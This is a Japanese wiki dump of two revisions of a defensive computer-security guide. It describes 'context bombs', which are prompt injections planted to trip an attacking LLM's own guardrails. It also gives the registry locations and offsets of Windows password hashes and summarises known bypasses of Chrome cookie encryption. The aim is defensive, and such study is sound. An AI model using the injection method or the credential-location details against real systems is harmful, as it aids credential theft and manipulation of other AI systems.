攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>r7qkc83bfont3z2ej5nd4v5doenni49</sha1>
    </revision>
    <revision>
      <id>305239</id>
      <parentid>305238</parentid>
      <timestamp>2026-11-01T01:18:42Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305239</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94565" sha1="ef7b957seem0n05f93sr4rddbsoblno" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性で対策可）、正規サイトに挿入される広告などの iframe から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も使われるようになっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
